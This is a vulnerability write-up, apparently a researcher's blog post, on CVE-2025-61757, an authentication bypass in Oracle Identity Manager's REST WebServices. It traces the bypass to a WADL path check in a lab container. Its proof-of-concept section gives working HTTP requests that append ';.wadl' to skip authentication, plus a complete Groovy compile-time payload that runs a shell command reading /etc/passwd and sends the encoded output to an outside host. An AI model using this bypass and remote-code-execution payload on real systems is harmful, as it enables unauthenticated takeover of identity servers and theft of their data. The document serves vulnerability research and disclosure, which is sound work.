Identity Manager - CVE-2025-61757

A serious vulnerability has been identified in Oracle Fusion Middleware’s Identity Manager, specifically within its REST WebServices component. This flaw is easy for a remote, unauthenticated attacker to exploit over HTTP, and a successful attack can lead to a full compromise of the Identity Manager instance. In other words, an attacker could potentially take complete control of the affected system.

Affected versions: 12.2.1.4.0 and 14.1.2.1.0

CVSS v3.1 Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Background

To investigate this vulnerability, I set up an Oracle Identity Governance Docker container.

The exposed REST APIs can be discovered by inspecting application.xml inside the container. This descriptor lists the deployed modules, and in this case shows that applicationrest.war is mapped to the context root iam/governance/applicationmanagement, defining the base path for its REST endpoints.

[oracle@oimms oracle]$ cat idm/server/apps/oim.ear/META-INF/application.xml
... snip ...
   <module>
    <web>
      <web-uri>applicationrest.war</web-uri>
      <context-root>iam/governance/applicationmanagement</context-root>
    </web>
  </module>

To enumerate the available endpoints, the applicationrest.war file can be copied out of the container:

[oracle@oimms oracle]$ find . -type f -name "applicationrest.war"
./idm/server/apps/oim.ear/applicationrest.war

kpen :: ~/oracle/tmp » docker container cp oimms:/u01/oracle/idm/server/apps/oim.ear/applicationrest.war .

Inspecting the archive (for example using jd-gui) reveals classes such as WEB-INF/applicationrest-lib.jar/oracle.iam.identityrest/oimrestendpoints/ApplicationrestServiceController.class, which lists the REST endpoints under /iam/governance/applicationmanagement/api/v1/.

Accessing these endpoints unauthenticated results in a basic‑auth challenge, indicating that they are protected. The corresponding configuration in WEB-INF/web.xml shows that the endpoints are guarded by the oracle.wsm.agent.handler.servlet.SecurityFilter:

<filter-class>oracle.wsm.agent.handler.servlet.SecurityFilter</filter-class>

In a typical Oracle Identity Management installation, this filter resides in OWSM‑related JARs such as wsm-agent-core.jar. Examining the filter logic reveals that it first checks incoming request paths against a WADL_PATTERN. If the path matches this pattern, the filter bypasses authentication entirely.

One of the endpoints exposed through this application, groovyscriptstatus, is designed to compile and validate Groovy scripts, returning either a success or error message. Although intended only for compilation, Groovy supports annotations and AST transformations that can execute logic during the compile phase. This means that even a “compile-only” endpoint can inadvertently execute attacker‑controlled code, making its exposure particularly dangerous.


POC || GTFO

Auth Bypass

## Request 1
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus HTTP/1.1
Host: kpen.dev.local:14000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

## Response 1
HTTP/1.1 401 Unauthorized

---------
## Request 2
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: kpen.dev.local:14000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

## Response 2
HTTP/1.1 200 OK
... snip ...
Script Compilation Successful

RCE + Exfil

## Request
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: kpen.dev.local:14000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: application/json
Content-Length: 866

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase
import java.util.Base64

class Exfil {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def raw = ["sh", "-c", "cat /etc/passwd"].execute().text.bytes
            def data = Base64.getUrlEncoder()
                                .withoutPadding()
                                .encodeToString(raw)

            def url = "http://172.30.0.1:8888/?${data}"

            def conn = new URL(url).openConnection()
            conn.requestMethod = "GET"
            conn.inputStream.text
        } catch (ignored) {}
    })
    static void main(String[] args) {}
}

Exfil.main()

Resources

Last updated

Was this helpful?